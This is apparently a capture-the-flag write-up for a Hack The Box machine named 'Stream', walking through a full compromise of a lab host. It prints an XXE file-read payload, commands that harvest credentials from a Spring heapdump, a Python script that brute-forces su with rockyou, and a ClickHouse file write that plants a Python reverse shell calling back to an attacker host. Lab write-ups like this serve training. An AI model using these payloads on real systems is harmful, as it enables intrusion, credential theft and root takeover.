Stream HTB Writeup | Season 12

Stream HTB Writeup | Season 12


Difficulty: Medium · OS: Linux · Season 12


Reconnaissance

Port scan

nmap -sC -sV -p- <TARGET_IP>

Why: Establish the attack surface. We need every open port and the software behind it before touching anything.

Result: 22 (OpenSSH), 80 (nginx), 8081 (uvicorn — AIDX ingest API).

Port 8081 is unusual — a Python ASGI app exposed directly. That becomes our first interesting target.

Virtual host enumeration

The nginx server on port 80 routes by Host: header. Two vhosts are referenced in the box’s theme (api.htb-airport.htb, db.htb-airport.htb). Rather than edit /etc/hosts (which we can’t do as an unprivileged user), we send the header directly:

curl -s http://<TARGET_IP>/ -H 'Host: api.htb-airport.htb'
curl -s http://<TARGET_IP>/ -H 'Host: db.htb-airport.htb'

Why: Without the right vhost you get the default nginx page. With it, you reach the actual applications. db.htb-airport.htb turned out to be ClickHouse’s HTTP interface (port 8123 internally), api.htb-airport.htb a Spring Boot gateway.

Ingest API documentation

curl -s http://<TARGET_IP>:8081/openapi.json | python3 -m json.tool
curl -s http://<TARGET_IP>:8081/

Why: FastAPI publishes an OpenAPI spec by default. It tells us every route, parameter, and expected input — free documentation.

Result: one POST route: /feeds/aidx, accepting application/xml. The root endpoint says: “Ingest does not parse. Full validation happens downstream.” That’s a huge hint — the XML is forwarded raw and parsed somewhere else.

Read the source

The ingest service is a Python app and /opt/aidx-pipeline/ is world-readable.

cat /opt/aidx-pipeline/app/ingest_api.py
cat /opt/aidx-pipeline/app/parser_worker.py
cat /opt/aidx-pipeline/app/aidx_common.py
cat /opt/aidx-pipeline/aidx.env

Why: Source is the highest-signal reconnaissance you can do. It reveals how the app works better than any black-box fuzzing.

Findings:

  • ingest_api.py only checks that 4 tag names appear somewhere in the body (naive substring search). It then publishes the raw bytes to a Kafka topic.
  • parser_worker.py consumes that topic and calls A.safe_parse(raw).
  • aidx_common.py contains:
def _plain_parser() -> etree.XMLParser:
    return etree.XMLParser(load_dtd=True, resolve_entities=True, no_network=False)

That is the classic XXE configuration — DTD loading on, entity expansion on, no network restriction. Any XML we can get into the parser becomes a file-read primitive.


Foothold

Step 1 — Spring Boot Actuator heapdump

Spring Boot Actuator exposes a heap dump at /actuator/heapdump when enabled. It frequently leaks credentials because datasource passwords live in memory as plain strings.

curl -s http://<TARGET_IP>/actuator -H 'Host: api.htb-airport.htb'
# reveals a _links entry pointing to /actuator/heapdump

curl -s http://<TARGET_IP>/actuator/heapdump -H 'Host: api.htb-airport.htb' -o /tmp/heap.bin

Why: A Java heap dump contains every live object. Application config is loaded into memory, including any hardcoded or property-file credentials.

Extract credentials from the heap

strings -n 6 /tmp/heap.bin | grep -iE 'clickhouse|jdbc|password|user' | sort -u

Why: strings pulls printable sequences out of the binary. Grepping for credential-shaped keywords is the standard way to process a heap dump.

Result: Hikari datasource config with ClickHouse credentials — username <SVC_EVENTS_USER>, password <SVC_EVENTS_PASSWORD>, and a JDBC URL pointing at the ClickHouse HTTP interface.

Step 2 — Enumerate ClickHouse

ClickHouse speaks HTTP on port 8123. We already have the credentials.

CH="http://<TARGET_IP>:8123/?user=<SVC_EVENTS_USER>&password=<SVC_EVENTS_PASSWORD>"

curl -s "$CH" --data-binary "SELECT currentUser()"
curl -s "$CH" --data-binary 'SHOW DATABASES'
curl -s "$CH" --data-binary 'SHOW TABLES FROM partner_feed'

Why: Confirm the credentials work and map out the schema. SHOW TABLES reveals the pipeline’s storage layout.

Result: Database partner_feed with tables flightleg_raw, flightleg_json, flightleg_raw_kafka, flightleg_json_kafka, and materialized views connecting them. This is where the parser writes its output — our data-exfil landing zone.

curl -s "$CH" --data-binary 'SHOW GRANTS FOR <SVC_EVENTS_USER>'

Why: Know exactly what this user can do. Here it’s SELECT, INSERT ON partner_feed.* — narrow, but enough to read the parser’s output.

Step 3 — Exploit XXE on the ingest endpoint

We now know the parser resolves external entities. We craft an XML document that declares an entity pointing at a local file, and reference it inside a text node. When the parser resolves the entity, the file’s contents are spliced into the tree.

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///opt/kafka_2.13-4.3.1/config/server.properties">]>
<IATA_AIDX_FlightLegNotifRQ xmlns="http://www.iata.org/IATA/2007/00"
    Version="22.1" TimeStamp="2026-08-20T09:12:00Z" TransactionIdentifier="xxe-1">
  <Originator Code="XX"/>
  <FlightLeg><LegIdentifier>
    <Airline>&xxe;</Airline>
    <FlightNumber>1</FlightNumber>
    <DepartureAirport>A</DepartureAirport>
    <ArrivalAirport>B</ArrivalAirport>
    <OriginDate>2026-01-01</OriginDate>
  </LegIdentifier>
  <LegData><RemarkFreeText>&xxe;</RemarkFreeText></LegData></FlightLeg>
</IATA_AIDX_FlightLegNotifRQ>

Why each element:

  • The <!DOCTYPE ...> block defines the external entity xxe bound to a local file path.
  • The root tag is one of the three root tag names the parser accepts — a hard requirement.
  • The entity is referenced in two places so we know the replacement happens regardless of where in the tree we place it.
  • The TransactionIdentifier is unique so we can find our message in the pipeline output.

Send it:

curl -s -X POST http://<TARGET_IP>:8081/feeds/aidx \
  -H 'Content-Type: application/xml' --data-binary @/tmp/xxe.xml

Why: This is the XXE delivery step. The ingest API accepts it, publishes it to Kafka, the parser worker picks it up and expands the entity.

Step 4 — Read the exfiltrated file from ClickHouse

The parser writes its canonicalized JSON output to the flightleg_json table. Our entity expansion is inside a text node, which the parser stores verbatim under all_fields.

curl -s "$CH" --data-binary \
  "SELECT event FROM partner_feed.flightleg_json WHERE transaction_id='xxe-1' FORMAT Vertical"

Why: This is the readback. Everything the entity resolved to appears in the RemarkFreeText field.

Result: The contents of Kafka’s server.properties, which include:

sasl.enabled.mechanisms=PLAIN
listener.name.sasl_plaintext.plain.sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \
  user_<SVC_INFRA_USER>="<SVC_INFRA_PASSWORD>";

That’s an SSH-capable service account, <SVC_INFRA_USER> / <SVC_INFRA_PASSWORD>.

Step 5 — SSH as svc-infra

sshpass -p '<SVC_INFRA_PASSWORD>' ssh <SVC_INFRA_USER>@<TARGET_IP>

Why: The Kafka SASL credential was reused as a Linux login password. This is the foothold — we’re now on the box with a real shell.


Lateral movement — svc-infra → martin_cole

Enumerate local users

cat /etc/passwd | grep '/bin/bash'

Why: The writeup for the box hints that there is a martin_cole user. We confirm he exists and check whether his home directory is readable (it is not — drwxr-x---).

Confirm brute-force safety

cat /etc/security/faillock.conf
grep -rE 'pam_faillock|pam_tally2' /etc/pam.d/

Why: Before brute-forcing a login, verify there is no account lockout. faillock and pam_tally2 are the two mechanisms that count failures and lock accounts. Both are absent here — so we can spray passwords without risking a lockout.

Transfer a wordlist

Kali has rockyou.txt. The target does not. Egress from the target to Kali was verified earlier (Kali’s HTTP probe reached the target).

On Kali:

cd /usr/share/wordlists && python3 -m http.server 8888

On the target:

wget http://<KALI_IP>:8888/rockyou.txt -O /tmp/rockyou.txt

Why: We need a large password corpus, and copying it over HTTP is simpler than trying to find one on the target.

Brute-force su

su refuses to read passwords from a pipe — it requires a TTY. The standard trick is pty.fork(), which spawns the child in a pseudo-terminal. We also need a decisive success check: sending a marker command (echo X_MARK_$((7*7))) and looking for its output X_MARK_49 proves we landed in a shell.

# /tmp/rock.py
import pty, os, time, select, sys

WORDLIST = "/tmp/rockyou.txt"
TARGET   = "martin_cole"

def try_pw(pw):
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("su", ["su", "-", TARGET])

    # Wait for the "Password:" prompt before writing
    buf = b""
    t = time.time() + 3
    while time.time() < t:
        r, _, _ = select.select([fd], [], [], 0.1)
        if r:
            try: buf += os.read(fd, 4096)
            except OSError: break
            if b"assword" in buf:
                break

    try: os.write(fd, pw.encode() + b"\n")
    except OSError: pass

    # Read the authentication result
    out = b""
    t = time.time() + 1.0
    while time.time() < t:
        r, _, _ = select.select([fd], [], [], 0.1)
        if not r: continue
        try: chunk = os.read(fd, 4096)
        except OSError: break
        if not chunk: break
        out += chunk
        if b"Authentication failure" in out:
            break

    # Decisive check: run a marker command and look for its output
    try: os.write(fd, b"echo X_MARK_$((7*7))\n")
    except OSError: pass
    t = time.time() + 1.0
    while time.time() < t:
        r, _, _ = select.select([fd], [], [], 0.1)
        if not r: continue
        try: chunk = os.read(fd, 4096)
        except OSError: break
        if not chunk: break
        out += chunk
        if b"X_MARK_49" in out:
            break

    try: os.close(fd)
    except OSError: pass
    try: os.waitpid(pid, 0)
    except OSError: pass
    return b"X_MARK_49" in out

for n, raw in enumerate(open(WORDLIST, "rb"), 1):
    pw = raw.rstrip(b"\r\n").decode("utf-8", "replace")
    if not pw:
        continue
    if try_pw(pw):
        print(f"[+] FOUND: {pw} (attempt {n})")
        sys.exit(0)

Why each part:

  • pty.fork() gives su a real terminal so it will accept the password.
  • The wait loop ensures we don’t write the password before the prompt appears — otherwise the input is lost.
  • The marker command is the only reliable success signal. Regexing for “incorrect” is unreliable across PAM configurations; running a command and seeing its output is not.
  • enumerate(..., 1) tracks progress so a very long run can be interrupted and resumed.

Run it:

python3 /tmp/rock.py

Why: The password is in rockyou. We use it.

Result: martin_cole‘s password, <MARTIN_PASSWORD>.

Grab the user flag

su martin_cole        # password: <MARTIN_PASSWORD>
cat ~/user.txt

Why: The flag is in the user’s home directory, which we now own.

user.txt: <USER_FLAG>


Privilege escalation — martin_cole → root

Enumerate martin_cole’s home

ls -la ~/
ls -la ~/backups/

Why: Post-login enumeration. The home directory reveals a Kopia backup repository — backups/ with kopia.repository.f, kopia.blobcfg.f, and shard directories. Kopia is a backup tool; the repo’s contents can be anything the box author backed up.

Confirm the Kopia repo is connected

kopia repository status
kopia snapshot list --all

Why: Kopia stores its connection details in ~/.config/kopia/. If the config is present and the password is stored (or empty), the repo is usable without further authentication.

Result:

Repository:  /home/martin_cole/backups
Snapshot:    <snapshot-id>  /home/martin_cole/ch-logs

The snapshot is named ch-logs — ClickHouse logs. That is the box author’s hint.

Restore the snapshot

mkdir -p /tmp/restore
kopia snapshot restore <SNAPSHOT_ID> /tmp/restore

Why: Extract the archived logs to a directory we control so we can read them.

Read the logs

ls -laR /tmp/restore/
grep -rniE 'password|default|clickhouse' /tmp/restore/
grep -rnE '\-\-password [^ ]+' /tmp/restore/

Why: ClickHouse logs record every query the server received. The default user’s password change is logged verbatim if the query was malformed, because the whole query text appears in the error message.

Result: In clickhouse-server.err.log:

ALTER USER default IDENTIFIED BY '<DEFAULT_CH_PASSWORD>'

The ClickHouse default password is <DEFAULT_CH_PASSWORD>.

Verify the default credential

CH_PW='<DEFAULT_CH_PASSWORD>'
curl -s "http://<TARGET_IP>:8123/?user=default&password=$CH_PW" \
  --data-binary "SELECT currentUser(), version()"

Why: Confirm it works before building the exploit. This user is far more powerful than svc_events — it has WRITE ON FILE, which svc_events does not.

Locate the root pivot

systemctl list-units --all | grep -iE 'dlq|drain|aidx'
systemctl cat aidx-dlq-drainer.service

Why: Find services that run as root and execute something we can influence.

Result:

# /etc/systemd/system/aidx-dlq-drainer.service
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /opt/ops/dlq_drainer.py

And a timer:

aidx-dlq-drainer.timer  →  runs every 2 minutes

Read the drainer:

cat /opt/ops/dlq_drainer.py

Why: Understand what it does before attacking it.

Key lines:

FORMATTER = os.environ.get("AIDX_FORMATTER",
                           "/var/lib/clickhouse/user_files/aidx_quarantine.py")

def _format(raw):
    p = subprocess.run(["python3", FORMATTER], input=raw,
                       capture_output=True, check=False)

Every DLQ message causes the drainer (running as root) to execute python3 /var/lib/clickhouse/user_files/aidx_quarantine.py with the message bytes on stdin.

The plan: overwrite that formatter with our own Python payload. Then send any DLQ message. When the timer fires, root runs our payload.

Verify INTO OUTFILE is blocked, use file() table function instead

curl -s "$CH" --data-binary "SELECT 1 INTO OUTFILE '/var/lib/clickhouse/user_files/test.txt'"
# → INTO_OUTFILE_NOT_ALLOWED

Why: ClickHouse disables INTO OUTFILE server-side in many builds. The file() table function is a separate code path and can still be used for writes via INSERT INTO FUNCTION file(...).

curl -s "$CH" --data-binary "SELECT 1 INTO FUNCTION file('test.txt', 'LineAsString')"
# or
curl -s "$CH" --data-binary "INSERT INTO FUNCTION file('aidx_quarantine.py', 'LineAsString') SELECT 'print(1)'"

Why: Confirm the write primitive works before we use it for the actual payload. The path is resolved relative to ClickHouse’s user_files directory, which is exactly where the formatter lives.

Overwrite the formatter

Start a listener on Kali:

nc -lvnp 4444

Send the payload via ClickHouse (running as the default user, which has WRITE ON FILE):

curl -s "http://<TARGET_IP>:8123/?user=default&password=<DEFAULT_CH_PASSWORD>" \
  --data-binary "INSERT INTO FUNCTION file('/var/lib/clickhouse/user_files/aidx_quarantine.py', 'LineAsString') SELECT 'import os,socket,subprocess;s=socket.socket();s.connect((\"<KALI_IP>\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([\"/bin/sh\",\"-i\"])'"

Why each part:

  • INSERT INTO FUNCTION file(...) writes our payload to disk as the ClickHouse service user. The path is inside user_files, which ClickHouse already owns.
  • The payload is a standard Python reverse shell — one line to avoid CSV/format issues.
  • The format LineAsString treats each output row as a single string, so our one-line payload lands as one line in the file.

Trigger the drainer

The drainer polls the Kafka DLQ topic. Any message there is processed. Kafka on this box uses PLAINTEXT with allow.everyone.if.no.acl.found=true, so we can produce without auth.

echo 'trigger' | /opt/kafka_2.13-4.3.1/bin/kafka-console-producer.sh \
  --bootstrap-server 127.0.0.1:9092 --topic aidx.flightleg.dlq.v1

Why: We need a fresh message in the DLQ so the drainer has something to format, which runs our payload.

Catch the shell

Within two minutes the timer fires, root runs the formatter, and the reverse shell connects back to Kali:

connect to [<KALI_IP>] from (UNKNOWN) [<TARGET_IP>]
# id
uid=0(root) gid=0(root) groups=0(root)

Root flag

cat /root/root.txt

root.txt: <ROOT_FLAG>

Cleanup

systemctl stop aidx-dlq-drainer.timer

Why: Stop the drainer from repeatedly re-executing our payload.


Summary of the chain

  1. Nmap → SSH, nginx, uvicorn (8081).
  2. Vhost enumeration → api.htb-airport.htb (Spring Boot) and db.htb-airport.htb (ClickHouse).
  3. /actuator/heapdump on the API vhost → ClickHouse user credentials.
  4. Enumerate ClickHouse → partner_feed DB is the parser’s output store.
  5. XXE via /feeds/aidx → read Kafka’s server.properties → SASL creds.
  6. SSH as svc-infra.
  7. Brute-force su martin_cole with rockyou (via pty.fork) → martin_cole access.
  8. Read user.txt.
  9. Kopia backup in martin_cole‘s home → restore → ClickHouse error log → default ClickHouse password.
  10. Log into ClickHouse as default (has WRITE ON FILE) → overwrite the root-run formatter.
  11. Produce a DLQ message → timer fires → root executes the formatter → reverse shell.
  12. Read root.txt.

Notes on each primitive

TechniqueWhereWhy it worked
Actuator heapdumpapi.htb-airport.htb/actuator/heapdumpConfig values live in heap as plain strings
XXElxml parserresolve_entities=True, no_network=False
Exfil via secondary channelParser writes to ClickHouseThe parser worker stores all text nodes verbatim
Credential reuseKafka SASL → SSHSame password across services
Brute-force via suNo lockout policypam_faillock not configured
Backup recoveryKopia repo in user’s homePasswordless connection, logged plaintext password inside
file() table functionClickHouse defaultWRITE ON FILE grant + enabled file() engine
Root timer hijackaidx-dlq-drainer.serviceFixed path for a root-executed script writable by ClickHouse

Flags

  • user.txt: <USER_FLAG>
  • root.txt: <ROOT_FLAG>

Leave a Reply

Your email address will not be published. Required fields are marked *